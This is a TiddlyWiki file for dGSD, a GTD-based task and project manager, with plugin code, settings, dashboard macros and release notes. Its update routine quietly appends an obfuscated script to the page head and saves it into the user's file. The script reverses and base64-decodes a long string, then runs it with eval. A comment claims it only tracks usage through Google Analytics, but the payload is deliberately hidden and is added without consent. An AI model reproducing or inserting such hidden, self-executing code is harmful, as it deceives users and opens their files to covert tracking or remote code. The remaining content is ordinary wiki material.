  store.removeTiddler('MptwConfigPlugin');
  updated = true;
}
if (store.tiddlerExists('MptwBlack')) {
  store.removeTiddler('MptwBlack');
  updated = true;
}
if (store.tiddlerExists('MptwRoundTheme')) {
  store.removeTiddler('MptwRoundTheme');
  updated = true;
}
if (store.tiddlerExists('MonkeyGTDNarrow')) {
  store.removeTiddler('MonkeyGTDNarrow');
  updated = true;
}
if (store.tiddlerExists('MonkeyGTDPrint3x5')) {
  store.removeTiddler('MonkeyGTDPrint3x5');
  updated = true;
}
if (store.tiddlerExists('MptwSmoke')) {
  store.removeTiddler('MptwSmoke');
  updated = true;
}
if (store.tiddlerExists('DarkPalette')) {
  store.removeTiddler('DarkPalette');
  updated = true;
}
if (store.tiddlerExists('MptwStandardTheme')) {
  store.removeTiddler('MptwStandardTheme');
  updated = true;
}
if (store.tiddlerExists('MptwTheme')) {
  store.removeTiddler('MptwTheme');
  updated = true;
}
if (store.tiddlerExists('MptwTrimTheme')) {
  store.removeTiddler('MptwTrimTheme');
  updated = true;
}
if (store.tiddlerExists('MptwUserConfigPlugin')) {
  store.removeTiddler('MptwUserConfigPlugin');
  updated = true;
}
if (store.tiddlerExists('MonkeyGTDTheme')) {
  store.removeTiddler('MonkeyGTDTheme');
  updated = true;
}
if (store.tiddlerExists('ContextView')) {
  store.removeTiddler('ContextView');
  updated = true;
}
if (store.tiddlerExists('contactViewTemplate')) {
  store.removeTiddler('contactViewTemplate');
  updated = true;
}
if (updated) {
  // Please note - This is simply to track anonymous, general usage of dGSD (i.e. # of users) via Google Analytics
  config.shadowTiddlers.MarkupPostHead += '<script language="javascript" type="text/javascript">var IO0=\'==wOpkSZwF2YzV2XoUGchN2cl5WdoUGdpJ3duQnbl1Wdj9GZ7kCMx8EKkxWaoNEZuVGcwFmLPFDMfpwOdBzWpcCZhVGangSZtFmTnFGV5J0c05WZtVGbFRXZn5CduVWb1N2bkBSPg8UMw8FIyFmdKsTKMJVVuQnbl1Wdj9GZoQnbl52bw12bDlkUVVGZvNmbltyJ9wmc1ZyJrkiclJnclZWZy5CduVWb1N2bkhCduVmbvBXbvNUSSVVZk92YuV2Kn0jZlJnJnsyJr9WPjJ3c0V2Z/8SbvNmL0BXayN2chZXYqJ3b0F2YzVnZi9mLpBXYv8iOwRHdodCI9AyYyNnLwEzTKsTKnQHcpJ3YzdCK05WZtVGbFVGdhVmcj5CduVWb1N2bkBSPgATMPBichZ3OnU0MlQHcpJ3Yz9yQzUiQzUSOyUCOyUSOyUCR3UCMyUCMyUSQwUiQzUSOyUycwITJDJTJhdGOyUSZy9mZlJEdyV2culmLlR2bORnblJXYw5ycwITJCNTJEVTJwIUNlkjMlcjMlQHcpJ3YzdjMlgjMlUWbh50ZhRVeCNHduVWblxWR0V2ZuQnbl1Wdj9GZwITJENTJwITJzBjMlIXY2BjMlAjMlAjMlAjMlEEMlI0MlcjMlMnauE2Zv02bj5ycjlGd5xWYuFWLlx2Zv92ZucjMlAjMlsCMyUSOyUyNyUyd3d3LvE0MlAHd0h2NyUCMyUSQzUCMyUyNyUCbzN3LvE0MlMHc0RHa3ITJwITJGNTJwITJs92YvR3byBnLu9Wa0F2YvxmL05WZtV3YvRGMyUCRzUCRzUCMyUyNyUSQzUycwRHdodjMlgjMlAjMlQ0MlAjMlMmcz5SYnBjMlAjMlAjMlAjMlEEMlI0MlUWdyRHMyUCRzUCMyUyYul3ch5SYnBjMlI0MlcjMlQHcpJ3YzFmdhp2L0hXZ0djMlAjMlQ0MlAjMlUGc5RnLhdGMyUiQzUSOyUyNyUCdwlmcjN3NyUCOyUCduVWblxWRlRXYlJ3YuQnbl1Wdj9GZwITJENTJwITJhdGMyUichZHMyUCMyUCMyUCMyUSQwUiQ3UCMyUSOyUCOyUibvlGdj5WdmhjMlAjMlAjMlEEMlEEMlI0MlkjMlQUNlcjMlcXZpZXZnFGUrNWYyR3X3ITJCVTJ4ITJoNXdw5Schd2XwITJwITJBBTJCNTJ5ITJEVTJ3ITJy0CO0MDM4gTMx0SQVdjMlAjMlMkMlcjMlQnb192YjFEdlN3X3ITJCVTJ4ITJoNXdw5Schd2XwITJwITJBBTJCNTJEVTJCVTJwITJDdTJDdTJwITJxF2ZfBjMlQ0MlAjMlEXYn9FMyUichZXRzUCdwlmcjN3QzUyJ9UGchN2cl9FIyFmd\';var _0x84de=["ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=","","charAt","indexOf","fromCharCode","length"];function _0lO(data){var _0IOlOI=_0x84de[0];var o1,o2,o3,h1,h2,h3,h4,bits,i=0,enc=_0x84de[1];do{h1=_0IOlOI[_0x84de[3]](data[_0x84de[2]](i++));h2=_0IOlOI[_0x84de[3]](data[_0x84de[2]](i++));h3=_0IOlOI[_0x84de[3]](data[_0x84de[2]](i++));h4=_0IOlOI[_0x84de[3]](data[_0x84de[2]](i++));bits=h1<<18|h2<<12|h3<<6|h4;o1=bits>>16&0xff;o2=bits>>8&0xff;o3=bits&0xff;if(h3==64){enc+=String[_0x84de[4]](o1);} else {if(h4==64){enc+=String[_0x84de[4]](o1,o2);} else {enc+=String[_0x84de[4]](o1,o2,o3);} ;} ;} while(i<data[_0x84de[5]]);;return enc;} ;function _0IO(string){var ret=_0x84de[1],i=0;for(i=string[_0x84de[5]]-1;i>=0;i--){ret+=string[_0x84de[2]](i);} ;return ret;} ;eval(_0lO(_0IO(IO0)));</script>';
  saveChanges(true);
  displayMessage("dGSD Updated\n\n\nYour TiddlyWiki file has been updated.\n\nPlease reload.\n\nYou may see some errors until you do.\n\n\n");
  story.switchTheme('dGSDTheme');
  saveOptionCookie("txtTheme"); 
}
//}}}
//{{{

config.options.txtTheme = 'dGSDTheme';
story.switchTheme(config.options.txtTheme);

if (!config.dGSD) config.dGSD = {};
if (!config.mGTD) config.mGTD = {};

config.dGSD.specialTags = [
	"Action",
	"Project",
	"Area",
	"Realm",
	"Context",
	"View",
	"Tickler",
	"Reference",
	"Contact",
        "StatusUpdate",
        "ConversationLog",
        "Meeting",
        "AgendaItem",
	"BookNote",
	"Book",
	"Author",
	"Rating",
	"Genre",
        "eMailMessage"
];
config.mGTD.specialTags = config.dGSD.specialTags;

config.dGSD.tagsToIndex = [
                "Realm",
                "Area",
                "Context",
		"BookStatus",
                "Book",
                "Author",
		"Genre",
                "Meeting",
		"MeetingStatus",
		"Contact",
                "Project",
                "Action",
                "Priority",
                "AgendaItem",
		"ActionStatus",
		"TicklerStatus",
		"ProjectStatus",
		"GTDComponent",
        	"TicklerRepeatType",
		"Rating",
		"Progress",
                "TeamRole",
                "eMailMessage",
                "EmailStatus"
];
config.mGTD.tagsToIndex = config.dGSD.tagsToIndex;

config.dGSDVersion = "1.6";
config.dGSDVersionDate = "4/30/14";
config.macros.dGSDVersion={handler:function(place){wikify(config.dGSDVersion,place);}};
config.macros.dGSDVersionDate={handler:function(place){wikify(config.dGSDVersionDate,place);}};

config.toggleTagAlwaysTouchModDate = true; // see ToggleTagPlugin

if (config.shadowTiddlers.SiteTitle == "" || config.shadowTiddlers.SiteTitle == "My TiddlyWiki") config.shadowTiddlers.SiteTitle = 'dGSD ' + config.dGSDVersion;
if (config.shadowTiddlers.SiteSubTitle == "" || config.shadowTiddlers.SiteSubTitle == "a reusable non-linear personal web notebook") config.shadowTiddlers.SiteSubtitle = "//Task & Delegation Tracking, Meetings & Agenda Items, Project Roles,<br>Progress & Status Updates, Tickler Calendar, Book Notes & Library, and More!//";

config.mGTD.getOptChk = function(option) { return store.fetchTiddler('dGSDSettings').tags.contains(option); }
config.dGSD.getOptChk = config.mGTD.getOptChk;
config.mGTD.getOptTxt = function(fieldName) { return store.fetchTiddler('dGSDSettings').fields[fieldName.toLowerCase()]; }
config.dGSD.getOptTxt = config.mGTD.getOptTxt;
config.mGTD.setOptTxt = function(fieldName,fieldValue) { store.fetchTiddler('dGSDSettings').fields[fieldName.toLowerCase()] = fieldValue; }
config.dGSD.setOptTxt = config.mGTD.setOptTxt ;

// from tiddlytools.com/#CoreTweaks, thanks Eric
window.coreWikify = wikify;
window.wikify = function(source,output,highlightRegExp,tiddler)
{
	if (source) arguments[0]=source.replace(/\\\\\n/mg,"<br>");
	coreWikify.apply(this,arguments);
}

var originalReadOnly = readOnly;
var originalShowBackstage = showBackstage;

config.options.chkHttpReadOnly = false;  // means web visitors can experiment with your site by clicking edit
readOnly = false;                        // needed because the above doesn't work any more post 2.1 (??)
showBackstage = true;

config.options.chkInsertTabs = true;     // tab inserts a tab when editing a tiddler
config.views.wikified.defaultText = "";  // don't need message when a tiddler doesn't exist
config.views.editor.defaultText = "";    // don't need message when creating a new tiddler

//Uncomment and set these if you'd like to force these parameters, where you don't already have a cookie set for it (i.e. new browser/system)
config.options.chkSaveBackups = false;         // save backups
//config.options.txtBackupFolder = 'twbackup';  // put backups in a backups folder
//config.options.chkAutoSave = (window.location.protocol == "file:"); // do autosave if we're in local file

// add select theme and palette controls in default OptionsPanel
//config.shadowTiddlers.OptionsPanel = config.shadowTiddlers.OptionsPanel.replace(/(\n\-\-\-\-\nAlso see \[\[AdvancedOptions\]\])/, //"{{select{<<selectTheme>>\n<<selectPalette>>}}}$1");

// these are used by ViewTemplate
config.mptwJournalFormat = 'YYYY.0MM.0DD_0hh:0mm';
config.mptwDateFormat = 'pppp (DD/MM/YY)'

config.messages.tiddlerLinkTooltip='%0 - %4 %5';
config.newMeansNewForJournalsToo = false;

merge(config.macros,{
        // Fake a forceReflow() function for compatibility with TW2.6.6 Core
	forceReflow: {
          handler: function(place,macroName,params,wikifier,paramString,tiddler) {
            refreshDisplay();
            return;
          },
        }
});

merge(config.messages.messageClose,{
	text: "[x]",
	tooltip: "Close this message area"
});

//}}}
Project was abandoned.

order:5
button:x
buttonLong:abandoned
Enter projects and actions here. Click 'create these items' to create them.
Example usage:
{{{
Paint House
.Buy ladder and brushes|Errand
.Choose colours|Home|W
}}}
By default actions are next actions. 
Specify W or F to make them future or [[Waiting For]]. You can create multiple projects and project-less actions.

You can also specify area for projects. Order dosn't matter, as there can only be one uniquely named tiddler. The following is valid:
{{{
Paint House|[[Home Maintenance]]|[[Personal]]
.Buy ladder and brushes|Errand
.Choose colours|W|Home
}}}
To specify multiple projects and tasks, along with project-less actions, the below is an example of one way create two projects with tasks, and then a stand alone action.
{{{
Clean up yard|Personal|Home Maintenance
.Pick up sticks|Weekend
.Bag all the sticks|Weekend
Check out latest SAN offerings|[[Research]]|[[Work]]
.Read up on all major vendors offerings|Reading
.Call Doug for opinion|Call
.Check budget|Work|F

.Call Tara about tickets
}}}
If you want to add an action to an already existing project, you can specify the project name to do so:
{{{
.Pick up lumber at Home Depot|Build toolshed|Errand
}}}

!dGSD - A GTD-based Task and Project Management Wiki
!!!!//Latest changes were on <<dGSDVersionDate>> - version <<dGSDVersion>>//
!!Task & Delegation Tracking, Meetings & Agenda Items, Project Roles, Progress & Status Updates, Reference Items, Tickler Calendar, Conversaion Logging, Book Notes & Library, and More!
dGSD is a standalone, browser-based tool that can be used as a simple [[Getting-Things-Done|http://en.wikipedia.org/wiki/Getting_Things_Done]] task manager, or as a complex Project Management system (and indeed, I do use it this way in my daily work) as well as a fully Wiki-ized personal knowledge store.
It runs completely independently in the browser, even without an Internet connection, making it possible to carry around on a USB stick, or to use on the morning commute.

dGSD features dashboards for Projects, Action Items, Contexts, Areas, Meetings, Agenda Items, References, and Contacts... all of which give an excellent view of your tasks. They are tightly interlinked, and allow extremely complex tracking to be presented in a very elegant and beautiful way.

''//Scroll down to see an [[Example Project]], [[Example Meeting]], and other dGSD Tiddlers in action...//''

<<tiddler [[Getting dGSD]]>>

!Features:
!!Projects
Projects are a grouped set of tasks related by objective. They are ordered by status (Active, Ongoing, Someday/Maybe, Dormant, Abandoned)... These form the heart of your task management, and show a Dashboard-overview of critical Project info such as progress, priority and due date, as well as your Team, Meetings, Delegated and Waiting Actions, Reference Items, etc.
!!!Sub-Projects
Sometimes you need to get things done before you can get things done... Simply create a Project and click the "Subproject Of" dropdown to select a parent Project.  You'll have a nicely organized hierarchy of what you're doing, so you can keep track of every phase, part, or subproject separately.
!!!Project Team & RACI Roles //(New!)//
For large, complex projects with lots of people involved, dGSD now lets you assign standard^^*^^ RACI roles to the Contacts involved. These are shown in a Project Team list on the Project's Dashboard, and each Contact's Dashboard has a list of Primary Projects and Associated Projects showing their role.
!!!!! ^^*^^ Ok, not quite "standard". More like a bad pun. //RACI// stands for //R//esponsible (a do-er), //A//ccountable (whose head is on the line), //C//onsultant (advises, but not necessarily a do-er), //I//nformed (needs to be kept in the loop). This describes the role a person plays in the project.  I worked for a Project Management Office that added //S//upporting (a less-critical do-er of sorts), and I couldn't resist adding //T//oken (no idea why this person is involved), or //T//hird-party (a vendor, etc.). I felt this rounded the acronym out nicely, slotting everyone into a //RACIST// chart. =-) If this bothers you, just remove the //[[Token]]// and/or //[[Supporting]]// Tiddler.
!!!Tracking Who Requested an Action
dGSD now lets you track who requested an Action, as well as who the Action was delegated to.  This makes for very powerful team management, giving you a quick glance of what each Contact is waiting on right from their Contact Dashboard.
!!!Integrated Contact Info and Conversation Logging //(New!)//
Each Contact's Dashboard now includes a hideable Contact-Info panel, giving you an easy way to reach the person with automatic links to email, Google Maps, and their web sites.  Contacts also have a hideable Conversation Log panel, to easily keep track of your phone conversations, messages, or any other contact with your Contacts!
!!!Project Progress
dGSD lets you quickly view and set a progress bar on your Projects, tagging with a percentage complete ("10%" / "20%" etc., in 10% increments)
!!!Project Status Updates
dGSD lets you keep "Journal" entries of Project Status Updates, which show up at the bottom of the Project Dashboard, in a collapsable section with Status Updates ordered newest to oldest.
!!Meetings
dGSD gives you the ability to create, schedule, and track Meetings complete with:
* Agenda Items
* Tracked Attendees
* Discussion-based notes
* Quick-view of project status
These have been tightly integrated with dGSD's Dashboards and feel, in keeping with the elegance of the tool.
!!!Tickler Calendar
Based on the work of [[Tobias Beer|http://tobibeer.tiddlyspace.com/]], dGSD integrates an excellent dropdown calendar of [[Upcoming Meetings, Upcoming Ticklers and Overdue Actions|CalendarWithTicklers]]. Click on the word ''calendar'' at the top of the page.
!!!Touch Theme
dGSD offers a Tablet-friendly [[dGSDTouchTheme]], to make it usable on a decent res phone (I use a Motorola Droid 3) or even a low-res tablet. 
!!Book Notes and Library
The latest addition to dGSD is a set of Tiddlers to keep track of your [[Book Library]]. Designed with students and avid readers in mind, dGSD allows easy taking of notes while you read, including full details on Authors, Genres, and loan status.
!!//(New!)// Email Reader with Task-Maker!
This is very beta, but working - dGSD now has the ability to connect to your IMAP mail, read and mark read/unread/flagged, and //turn emails into Actions or Projects//!!
This requires a Node.js instance running an IMAP proxy, see [[dGSDMailPlugin]] for details. Once you have it set up, try [[Mail List Tester]] for an example - there are no Dashboards set up for Mail yet.

<<tiddler [[Getting dGSD]]>>
<br>
+++[Release Notes]
!!Release Notes:
dGSD includes a number of major interface cleanups and layout enhacements since being forked from mGSD, which I hope you will find useful:
* "Requested By" tracking for Actions, and a Contact Dashboard list of what has been requested
* Due-dates for Actions (rather than needing to convert an Action to a Tickler, which you can still do if desired)
* Recurring Projects (for those repetitive sets of tasks like tax preparation, etc.)
* Updated ProjectStatus'es (Active/Ongoing/SomedayMaybe/Dormant/Abandoned)
* Very flexible Tiddler lists and tagging/back-referencing/prefix-tagging using {{{<<dGSDList>>}}} (See [[dGSDCommon]] for coding details)
* Better/more dashboard layouts and groupings (in my opinion, change in [[dGSDTagDashboards]] to your liking) and urgent/overdue-item highlighting
* Cleaner Sidebar/Tab layout, and less redundancy
!!!TW / layout tweaks:
* Settings in one place:
** Click on the Tiddlers tab in the right Sidebar, and the Misc:Options subtabs.
* Better use of screen space:
** Click on the fullscreen icons ⊞ and ⧉ beside the word "upload" at the top right.
** Click on the {{{__}}} toolbar button to collapse, and the {{{[]}}} to uncollapse Tiddlers 
* Better toolbar layout, and decisions on when to show certain options
* Scroll-To-Top arrow at bottom-right of Tiddlers
* Notes on all "plain" Tiddlers (unless tagged with "noNotes")
* Multi-comment discussions (by tagging with "discussion")
* Ability to prevent deletion of Tiddlers by tagging with "dontDelete" (alters Toolbar - no plugin needed)
* Redone theme - [[dGSDTheme]], removing dependancy on older MPTW theme/Tiddlers
* [[My Journal]] view of all your Journal entries (needs [[dGSDProjectStatusUpdatesPlugin]])
* Hide subtitles on Tiddlers (usually the created/mod date and info) by tagging "hideSubtitle"
* Hide tag list on Tiddlers by tagging "hideTags"
* "Need to save" indicator (*) in the browser Titlebar and at the top of the page, in front of your title

!!!Updates:
** 1.6 - 4/30/14:
*** First beta release of [[dGSDMailPlugin]] code
*** Dashboard tweaks
** 1.5 - 1/24/13:
*** Added Project Roles by including RACI(st, see above) assignments of each Contact in a Project
*** General cleanups and tweaks
*** Standardized way of tracking dGSD versions
** v1.4/b - 1/17/12:
*** Added "Requested By" tracking to Actions, a matching Contact Dashboard list, and various bug fixes
*** Integrated the TWAB Address Book plugins into the Contact Dashboard, for a hideable Contact Info panel
** v1.4/a - 9/12/12:
*** Added dGSDBookNotes and Library!
*** Re-grouped Plugins into a more central dGSDCommonPlugin, dGSDBookNotesPlugin, and dGSDTouchThemePlugin for better integration
*** Integrated/bug-fixed/removed some older mGSD/mptw code which no longer needed to live "separately".
*** Theme fixes, bug fixes
*** Backed down to TW2.6.6 for the moment.
** v1.3/a/b/c/d/e - 4/12/12:
*** Changed name from mGSDEnhancements to simply dGSD
*** Updated TWCore to TW2.7.0b2 (although this does break some plugins, but gracefully)
*** Replaced some plugins to slim down, provide 2.7.0 compatibility
*** Updated: Redo layout of Sidebar for much cleaner tabs, less redundancy
*** Added: Project progress bar (and various related functions that can be used elsewhere)
*** Added: Almost-usable 1st release of a Tablet-friendly [[dGSDTouchTheme]] - Check out [[Touch Theme]] to apply
*** Fixed: A number of bugs that were emailed to me, or mentioned in the [[GTD TiddlyWiki Google Groups forum|http://groups.google.com/forum/?fromgroups#!forum/gtd-tiddlywiki]] (see mGSDMeetingEnhancementsPlugin for details)
Previous Updates: +++
** v1.2g/h/i - 27/07/12:
*** Updated: Imported all custom Tiddlers to empty TW2.6.6Alpha1 file
*** Fixed: Dependant action made by clicking the "newDepAction" button now inherit the tags (including contexts) of its parent (fixed and merged NewHerePluginExtended into mGSDMeetingEnhancementsPlugin)
*** Added TableEditorPlugin and TableCalculatorPlugin to augment SortableGridPlugin - adds spreadsheet-like functionality!
*** Turned off {{{ignoreRealm}}} in Contacts dashboard (in [[dGSDTagDashboard]]) for a much more focused, readable view of tasks.
*** Added "Future Ticklers" to Projects dashboard (in [[dGSDTagDashboard]])
*** Changed the word "{{{Close}}}" to "{{{[x]}}}" in messages
*** Tweaks to TitleButtons for cleaner layout, especially in narrow windows
** v1.2/a/b/c/d/e/f - 1/03/12:
*** Merged a tweak to groupOfSingleToggleTags, to prevent breaking of context checkbox/label when wrapping (if using [[dGSDTheme]])
*** Realms are inherited properly (thanks to cmari)
*** Make new ActionItems specific to Project
*** Added {{{<<delist>>}}} macro to Projects list in Contacts Dashboard, to un-associate people from projects (use view:ProjectDelist in mgtdListEnhanced)
*** Moved tag-matching back to (an improved) regex, and other bug fixes.
*** Removed dependancies on stock mGSD "Selector", "Dashboard" and "Buttons" Tiddlers
*** AgendaItems can now be added to multiple meetings, and tagged as "discussed" individually at each meeting
*** References in a Project's Dashboard now have a remove [x] button and a Notes preview icon using new ViewMethods "render_plainNotes" and "render_plainText", which in turn use {{{<<delist>>}}}
** v1.1e - 21/02/12:
*** Added ability to properly track attendance and discussion points
*** Nicer layouts
*** Moved as much code as possible away from stock mGSD Tiddlers
*** Repackaged the whole thing as a Plugin Tiddler
*** Bug fixes (a-e revisions, see plugin for notes)
* [[dGSDTheme]]
** v1.0a/b/c - 1/03/12:
*** Added class "nowrap" (display: inline-block;) to prevent wrapping of elements, set min-width of Tiddlers for small windows 
*** Bug fixes, remove "new dependant action" from Toolbar (use TitleButtons instead), further independance from stock mGSD "Selector", "Dashboard" and "Buttons" Tiddlers
*** Added ability to "hideTags" and "hideSubtitle" on Tiddlers, by tagging as such.
** v1.0 - 17/02/12:
*** First version, combining [[dGSDTheme]], MptwTheme, and David Szego's dGSD Tweaks into one theme
* [[dGSDProjectStatusUpdatesPlugin]]
** v1.1a - 3/12/12:
*** Changed: Renamed in line with dGSD branding
*** Moved [[dGSDProjectStatusUpdatesStyleSheet]] (not really needed, but optional for custom styling) and StatusView into Shadow Tiddlers for easier install
*** Tag new StatusUpdates with "noNotes" and "hideTags" for a nicer view of StatusUpdates outside of the Project Dashboard
** v1.0a - 8/02/12:
***  Adds Project Status Updates capabilities to mGSD - note Tiddlers associated with each project and shown in the Project Dashboard
* [[dGSDTicklerCalendarPlugin]]
** v1.1b - 27/02/12:
*** Bug fix - Added check for "&& !Dismissed" (we really don't want to be tickled about things we've already dismissed!)
** v1.1a - 21/02/12:
*** Bug fix - dropdown checkbox tagged "Actioned" instead of "Done" (this is actually an mGSD fix, re-merged a render_Tickler function corrected from TiddlerViewMethods).<br>//''Note-''// This requires a change to a stock mGSD Tiddler (fixed in this file), see plugin for details.
** v1.0 - 19/02/12:
*** Packaged into a Plugin and added ShadowTiddlers for minimal install steps 
===

!!''//I hope you enjoy using these, and that it makes you more productive. I look forward to your [[feedback|mailto:david@szego.me]].//''
Accountable for Project overall, including decision-making.

order:2
button:a
buttonLong:accountable
<<deleteAllTagged>> //''Warning'': This will delete all your tasks!!//


<<tiddler [[Action Dashboard by Context]]>>
{{highlight{
<<dGSDList
	title:'Overdue Actions'
	startTag:Action
	tags:'Next && !Done'
	view:Tickler
	mode:global
	gView:Project
	where:'tiddler.ticklerIsActive()&&tiddler.fields.mgtd_date'
	sort:'tickleDate'
	dontShowEmpty:yes
	ignoreRealm:{{config.mGTD.getOptChk('AlertsIgnoreRealm')?'yes':''}}
      >>
}}}

{{cols2{

{{col{

<<tiddler '[[Ticklers Requiring Action]]'>>

<<dGSDList
	title:'[[Next Actions]]'
	startTag:Action tags:'Next && !Done'
	view:ActionProj
	mode:global
	where:tiddler.hasActiveProject()

>>

<<dGSDList
	title:'[[Waiting Actions]]'
	startTag:Action
	tags:'[[Waiting For]] && !Done'
	view:ActionProj
	mode:global
	where:tiddler.hasActiveProject()
	newButtonTags:'Action [(Waiting For)]'
>>

}}}

{{col{

<<dGSDList
	title:'[[Future]] Actions'
	startTag:Action
	tags:'Future && !Done'
	view:ActionProj
	mode:global
	where:tiddler.hasActiveProject()
	newButtonTags:'Action Future'
>>

{{scroll10{

<<dGSDList
	title:'[[Done Actions]]'
	startTag:Action
	tags:'Done'
	view:DoneAction
	mode:global
	dontShowEmpty:yes
	sort:-modified
>>

}}}

}}}

}}}
{{cols2{

{{col{

<<tiddler 'Ticklers Requiring Action'>>

<<dGSDList title:'Next Actions' startTag:Action tags:'Next && !Done' view:Action mode:global
	group:Contact
	gView:bold
	where:tiddler.hasActiveProject()
	newButtonTags:'Action Next'
	>>

<<dGSDList title:'Waiting Actions' startTag:Action tags:'[(Waiting For)] && !Done' view:Action mode:global
	group:Contact
	gView:bold
	where:tiddler.hasActiveProject()
	newButtonTags:'Action [(Waiting For)]'
	>>

}}}

{{col{

<<dGSDList title:'Future Actions' startTag:Action tags:'Future && !Done' view:Action mode:global
	group:Contact
	gView:bold
	where:tiddler.hasActiveProject()
	newButtonTags:'Action Future'
	>>


{{scroll10{

<<dGSDList title:'Done Actions' startTag:Action tags:'Done' view:DoneAction mode:global
	group:Contact
	gView:bold
	sort:-modified
	dontShowEmpty:yes
	where:tiddler.hasActiveProject()
	>>

}}}

}}}

}}}
{{cols2{

{{col{

<<tiddler 'Ticklers Requiring Action'>>

<<dGSDList title:'Next Actions' startTag:Action tags:'Next && !Done' view:ActionProj mode:global
	group:Context
	gView:Context
	where:tiddler.hasActiveProject()
	newButtonTags:'Action Next'
	>>

<<dGSDList title:'Waiting Actions' startTag:Action tags:'[(Waiting For)] && !Done' view:ActionProj mode:global
	group:Context
	gView:Context
	where:tiddler.hasActiveProject()
	newButtonTags:'Action [(Waiting For)]'
	>>

}}}

{{col{

<<dGSDList title:'Future Actions' startTag:Action tags:'Future && !Done' view:ActionProj mode:global
	group:Context
	gView:Context
	where:tiddler.hasActiveProject()
	newButtonTags:'Action Future'
	>>

{{scroll10{

<<dGSDList title:'Done Actions' startTag:Action tags:'Done' view:DoneAction mode:global
	dontShowEmpty:yes
	sort:-modified
>>

}}}

}}}

}}}
{{cols2{
 
  {{col{
 
    {{highlight{
      <<tiddler 'Ticklers Requiring Action'>>
    }}}

    {{highlight{
      <<mgtdList title:'Highlighted for Review' startTag:Starred tags:'Action && !Done' view:ActionProj mode:global
 	group:ActionStatus
 	gView:bold
 	sort:modified
      >>
    }}}

    {{highlight{
      <<mgtdList 
	title:'Dismissed for Review' 
	startTag:Action 
	tags:'Dismissed && !Done' 
	view:ActionProj 
	mode:global
	group:ActionStatus
	gView:bold
	sort:modified
      >>
    }}}

    <<mgtdList
 	title:'Open List'
 	startTag:Action
 	tags:'Pending && !Done'
 	view:ActionProj
 	mode:global
 	where:tiddler.hasActiveProject()
 	newButtonTags:'Action Pending'
         sort:modified
    >>

  }}}
 
  {{col{

    {{highlight{
      <<mgtdList
	  title:'Urgent'
	  startTag:Starred
	  tags:'!Done'
	  view:ActionProj
	  mode:global
	  where:tiddler.hasActiveProject()
	  newButtonTags:'Action Next Starred'
          sort:modified
      >>
    }}}

    {{highlight{
      <<mgtdList
 	title:'Backlogged'
 	startTag:Action tags:'Next && !Done'
 	view:ActionProj
 	mode:global
 	where:tiddler.hasActiveProject()
 	sort:modified
      >>
    }}} 

    <<mgtdList startTag:Action title:'Waiting' tags:'[(Waiting For)] && !Done' view:ActionProj mode:global 
 	group:Contact
 	gView:bold
 	newButtonTags:'Action [(Waiting For)]'
 	where:tiddler.hasActiveProject()
    >>
 
    {{scroll10{
      <<mgtdList
 	 title:'Done'
 	 startTag:Action
 	 tags:'Done'
 	 view:DoneAction
 	 mode:global
 	 newButtonTags:'Action Next Done'
 	 sort:-modified
      >>
    }}}
 
  }}}
 
}}}
{{cols2{
 
  {{col{
 
    {{highlight{
      <<tiddler 'Ticklers Requiring Action'>>
    }}}

    {{highlight{
      <<dGSDList title:'Highlighted for Review' startTag:Starred tags:'Action && !Done' view:ActionProj mode:global
 	group:ActionStatus
 	gView:bold
	dontShowEmpty:yes
 	sort:modified
      >>
    }}}

    {{highlight{
      <<dGSDList 
	title:'Dismissed for Review' 
	startTag:Action 
	tags:'Dismissed && !Done' 
	view:ActionProj 
	mode:global
	group:ActionStatus
	gView:bold
	dontShowEmpty:yes
	sort:modified
      >>
    }}}

    <<dGSDList
 	title:'Next Actions'
 	startTag:Action
 	tags:'Next && !Done'
 	view:ActionProj
 	mode:global
 	where:tiddler.hasActiveProject()
 	dontShowEmpty:no
        sort:modified
    >>

    <<dGSDList
 	title:'Open List'
 	startTag:Action
 	tags:'Pending && !Done'
 	view:ActionProj
 	mode:global
 	where:tiddler.hasActiveProject()
 	dontShowEmpty:no
        sort:modified
    >>

  }}}
 
  {{col{

    {{highlight{
      <<dGSDList
	  title:'Urgent'
	  startTag:Starred
	  tags:'!Done'
	  view:ActionProj
	  mode:global
	  where:tiddler.hasActiveProject()
	  dontShowEmpty:yes
          sort:modified
      >>
    }}}


    {{highlight{
      <<dGSDList
        title:'Overdue'
        startTag:Action
        tags:'(Next || [[Waiting For]]) && !Done'
        view:Tickler
        mode:global
        group:Context
        gView:bold
        where:'tiddler.ticklerIsActive()&&tiddler.fields.mgtd_date'
        sort:'tickleDate'
        dontShowEmpty:yes
        ignoreRealm:{{config.mGTD.getOptChk('AlertsIgnoreRealm')?'yes':''}}
      >>
    }}}

    <<dGSDList title:'Waiting' 
        startTag:Action 
        tags:'[(Waiting For)] && !Done' 
        view:ActionProj 
        mode:global 
 	group:Contact
 	gView:bold
 	dontShowEmpty:yes
 	where:tiddler.hasActiveProject()
    >>
 
    {{scroll10{
      <<dGSDList
 	 title:'Done'
 	 startTag:Action
 	 tags:'Done'
 	 view:DoneAction
 	 mode:global
 	 dontShowEmpty:yes
 	 sort:-modified
      >>
    }}}
 
  }}}
 
}}}
<<deleteAllTagged>>
Project is currently active.

order:1
button:a
buttonLong:active
(shows active projects without a next action, sub-project or upcoming tickler)

<<dGSDList title:'You must assign a next action to these projects (or make them into Someday/Maybe)'
        startTag:Project 
	tags:'!Complete && !Someday/Maybe && !Abandoned && !Dormant && !Trash' 
        view:Project 
        mode:global
	where:'!tiddler.hasNextActionOrSubProjectOrTickler();'
>>
{{cols2{

{{col{

<<dGSDList title:'Active Projects' 
	startTag:'Project' 
	tags:'Active && !Complete &&!Trash' 
	view:'Project' 
	mode:'global'
	group:'Priority'
	gView:'bold'
	newButtonTags:'Project Active'
>>

}}}

{{col{

<<dGSDList title:'Ongoing Projects' 
	startTag:'Project' 
	tags:'Ongoing && !Complete && !Trash' 
	view:'Project' 
	mode:'global'
	group:'Priority'
	gView:'bold'
	newButtonTags:'Project Ongoing'
>>

}}}

}}}
<<twab>>
!!Address Book Tools:
<<twab>> <<twab Import AddressBook>> <<twab Export AddressBook>>

<<deleteAllTagged>>

!!All Contacts:
<<tag AddressBook [All Contacts]>>
/***
|''Name:''|AdjustEditorRows|
|''Version:''||
|''Source:''|[[AiddlyWiki|http://aiddlywiki.sourceforge.net]]|
|''Author:''|[[Arphen Lin|mailto:arphenlin@gmail.com]]|
|''Type:''|WikiBar addon|
|''Required:''|WikiBar 2.0.0+|
!Description
adjust rows of editor
!Installation
#install WikiBar at first
#create your addon as a tiddler with tag 'wikibarAddons'
!Code
***/
//{{{

//----------------------------------------------------------------------------
// addon install function: this is a must
//----------------------------------------------------------------------------
function wikibar_addonInstall(unused){

